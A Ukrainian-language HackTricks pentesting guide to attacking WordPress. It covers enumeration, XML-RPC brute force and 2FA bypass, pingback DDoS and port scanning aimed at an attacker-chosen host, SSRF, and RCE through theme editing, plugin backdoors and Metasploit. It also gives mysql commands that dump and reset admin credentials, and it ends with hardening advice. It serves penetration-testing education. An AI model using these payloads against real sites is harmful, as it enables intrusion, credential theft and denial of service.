Wordpress

Reading time: 14 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

  • Завантажені файли знаходяться за адресою: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Файли тем можна знайти в /wp-content/themes/, тому якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи тему twentytwelve ви можете доступитися до 404.php файлу за адресою: /wp-content/themes/twentytwelve/404.php

  • Ще одна корисна URL-адреса може бути: /wp-content/themes/default/404.php

  • У wp-config.php ви можете знайти кореневий пароль бази даних.

  • Шляхи для перевірки входу за замовчуванням: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Основні файли WordPress

  • index.php
  • license.txt містить корисну інформацію, таку як версія встановленого WordPress.
  • wp-activate.php використовується для процесу активації електронної пошти при налаштуванні нового сайту WordPress.
  • Папки для входу (можуть бути перейменовані для приховування):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, що діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на REST API WordPress.
  • Папка wp-content є основним каталогом, де зберігаються плагіни та теми.
  • wp-content/uploads/ - це каталог, де зберігаються всі файли, завантажені на платформу.
  • wp-includes/ - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети.
  • wp-sitemap.xml У версіях WordPress 5.5 і вище, WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями.

Пост експлуатація

  • Файл wp-config.php містить інформацію, необхідну WordPress для підключення до бази даних, таку як ім'я бази даних, хост бази даних, ім'я користувача та пароль, ключі аутентифікації та солі, а також префікс таблиці бази даних. Цей конфігураційний файл також може бути використаний для активації режиму DEBUG, що може бути корисним для усунення неполадок.

Дозволи користувачів

  • Адміністратор
  • Редактор: Публікує та керує своїми та чужими постами
  • Автор: Публікує та керує своїми постами
  • Співробітник: Пише та керує своїми постами, але не може їх публікувати
  • Підписник: Переглядає пости та редагує свій профіль

Пасивна енумерація

Отримати версію WordPress

Перевірте, чи можете ви знайти файли /license.txt або /readme.html

Всередині джерельного коду сторінки (приклад з https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link files

  • JavaScript files

Отримати плагіни

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Отримати теми

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Витяг версій загалом

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Активна енумерація

Плагіни та Теми

Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде активно Брутфорсити список Плагінів та Тем (на щастя, для нас є автоматизовані інструменти, які містять ці списки).

Користувачі

  • ID Брут: Ви отримуєте дійсних користувачів з сайту WordPress, Брутфорсуючи ID користувачів:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Якщо відповіді 200 або 30X, це означає, що id є дійсним. Якщо відповідь 400, тоді id є недійсним.

  • wp-json: Ви також можете спробувати отримати інформацію про користувачів, запитуючи:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Інший /wp-json/ кінцевий пункт, який може розкрити деяку інформацію про користувачів, це:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Зверніть увагу, що цей кінцевий пункт лише відкриває користувачів, які зробили пост. Будуть надані лише відомості про користувачів, у яких активована ця функція.

Також зверніть увагу, що /wp-json/wp/v2/pages може витікати IP-адреси.

  • Перерахування імен користувачів для входу: Коли ви входите в /wp-login.php, повідомлення є іншим, якщо вказане ім'я користувача існує чи ні.

XML-RPC

Якщо xml-rpc.php активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес використовуючи це, наприклад).

Щоб перевірити, чи активний, спробуйте отримати доступ до /xmlrpc.php і надішліть цей запит:

Перевірити

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Брутфорс облікових даних

wp.getUserBlogs, wp.getCategories або metaWeblog.getUsersBlogs - це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Повідомлення "Неправильне ім'я користувача або пароль" всередині відповіді з кодом 200 повинно з'явитися, якщо облікові дані недійсні.

Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Також є швидший спосіб для брутфорсу облікових даних, використовуючи system.multicall, оскільки ви можете спробувати кілька облікових даних в одному запиті:

Обхід 2FA

Цей метод призначений для програм, а не для людей, і є старим, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але головний вхід захищений 2FA, ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обминаючи 2FA. Зверніть увагу, що ви не зможете виконати всі дії, які можна виконати через консоль, але ви все ще можете отримати доступ до RCE, як пояснює Ippsec у https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS або сканування портів

Якщо ви можете знайти метод pingback.ping у списку, ви можете змусити Wordpress надіслати довільний запит до будь-якого хоста/порту.
Це можна використовувати, щоб попросити тисячі сайтів Wordpress доступитися до одного місця (так що в цьому місці викликано DDoS) або ви можете використовувати це, щоб змусити Wordpress сканувати якусь внутрішню мережу (ви можете вказати будь-який порт).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Якщо ви отримали faultCode зі значенням більше ніж 0 (17), це означає, що порт відкритий.

Подивіться на використання system.multicall в попередньому розділі, щоб дізнатися, як зловживати цим методом для виклику DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Цей файл зазвичай існує в кореневій директорії сайту Wordpress: /wp-cron.php
Коли цей файл доступний, виконується "важкий" MySQL запит, тому його можуть використовувати зловмисники для виклику DoS.
Також, за замовчуванням, wp-cron.php викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з високим трафіком може викликати проблеми (DoS).

Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хостингу, який виконує необхідні дії з регулярним інтервалом (без виклику проблем).

/wp-json/oembed/1.0/proxy - SSRF

Спробуйте отримати доступ до https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net і сайт Worpress може надіслати запит до вас.

Ось відповідь, коли це не працює:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Цей інструмент перевіряє, чи існує methodName: pingback.ping для шляху /wp-json/oembed/1.0/proxy і, якщо існує, намагається їх експлуатувати.

Automatic Tools

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Отримати доступ, перезаписуючи біт

Більше ніж реальна атака, це цікавість. У CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man ви могли перевернути 1 біт з будь-якого файлу wordpress. Тож ви могли перевернути позицію 5389 файлу /var/www/html/wp-includes/user.php, щоб NOP операцію NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Модифікація php з теми (потрібні облікові дані адміністратора)

Зовнішній вигляд → Редактор тем → Шаблон 404 (праворуч)

Змініть вміст на php shell:

Шукайте в інтернеті, як ви можете отримати доступ до оновленої сторінки. У цьому випадку вам потрібно перейти сюди: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Ви можете використовувати:

bash
use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP плагін

Можливо, що можна завантажити .php файли як плагін.
Створіть свій php бекдор, використовуючи, наприклад:

Потім додайте новий плагін:

Завантажте плагін і натисніть Встановити зараз:

Натисніть Продовжити:

Ймовірно, це нічого не зробить на перший погляд, але якщо ви перейдете до Медіа, ви побачите завантажену оболонку:

Доступ до неї, і ви побачите URL для виконання реверс-оболонки:

Завантаження та активація шкідливого плагіна

Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, і його можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:

  1. Отримання плагіна: Плагін отримується з джерела, такого як Exploit DB, як тут.
  2. Встановлення плагіна:
  • Перейдіть до панелі управління WordPress, потім перейдіть до Панель управління > Плагіни > Завантажити плагін.
  • Завантажте zip-файл завантаженого плагіна.
  1. Активація плагіна: Після успішної установки плагін потрібно активувати через панель управління.
  2. Експлуатація:
  • З встановленим і активованим плагіном "reflex-gallery" його можна експлуатувати, оскільки відомо, що він вразливий.
  • Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши специфічні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту.
  • Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress.

Зміст включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом.

Для більш детальних кроків перевірте: https://www.hackingarticles.in/wordpress-reverse-shell/

Від XSS до RCE

  • WPXStrike: WPXStrike — це скрипт, призначений для ескалації вразливості Cross-Site Scripting (XSS) до Remote Code Execution (RCE) або інших критичних вразливостей у WordPress. Для отримання додаткової інформації перевірте цей пост. Він надає підтримку для версій WordPress 6.X.X, 5.X.X та 4.X.X і дозволяє:
  • Ескалація привілеїв: Створює користувача в WordPress.
  • (RCE) Завантаження користувацького плагіна (бекдору): Завантажте свій користувацький плагін (бекдор) до WordPress.
  • (RCE) Редагування вбудованого плагіна: Редагуйте вбудовані плагіни в WordPress.
  • (RCE) Редагування вбудованої теми: Редагуйте вбудовані теми в WordPress.
  • (Користувацький) Користувацькі експлойти: Користувацькі експлойти для сторонніх плагінів/тем WordPress.

Постексплуатація

Витягніть імена користувачів та паролі:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Змінити пароль адміністратора:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Знання того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете знайти, як плагін може відкривати функціональність, у наступних пунктах та деяких прикладах вразливих плагінів у цьому блозі.

  • wp_ajax

Один із способів, яким плагін може відкривати функції для використання, - це через AJAX-обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базують як аутентифікацію, так і авторизацію на існуванні nonce Wordpress, який будь-який користувач, що аутентифікований у екземплярі Wordpress, може мати (незалежно від його ролі).

Це функції, які можуть бути використані для відкриття функції в плагіні:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Використання nopriv робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).

caution

Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції wp_verify_nonce, ця функція просто перевіряє, чи увійшов користувач, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.

  • REST API

Також можливо експонувати функції з WordPress, реєструючи REST API за допомогою функції register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback - це зворотний виклик до функції, яка перевіряє, чи має даний користувач право викликати метод API.

Якщо використовується вбудована функція __return_true, вона просто пропустить перевірку прав користувача.

  • Прямий доступ до php файлу

Звичайно, Wordpress використовує PHP, і файли всередині плагінів безпосередньо доступні з вебу. Отже, у випадку, якщо плагін відкриває будь-яку вразливу функціональність, яка активується просто доступом до файлу, це буде експлуатовано будь-яким користувачем.

Захист WordPress

Регулярні оновлення

Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердіть, що автоматичне оновлення увімкнене в wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Також, встановлюйте лише надійні плагіни та теми WordPress.

Плагіни безпеки

Інші рекомендації

  • Видаліть стандартного admin користувача
  • Використовуйте сильні паролі та 2FA
  • Періодично переглядайте права доступу користувачів
  • Обмежте спроби входу для запобігання атакам Brute Force
  • Перейменуйте файл wp-admin.php і дозволяйте доступ лише внутрішньо або з певних IP-адрес.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks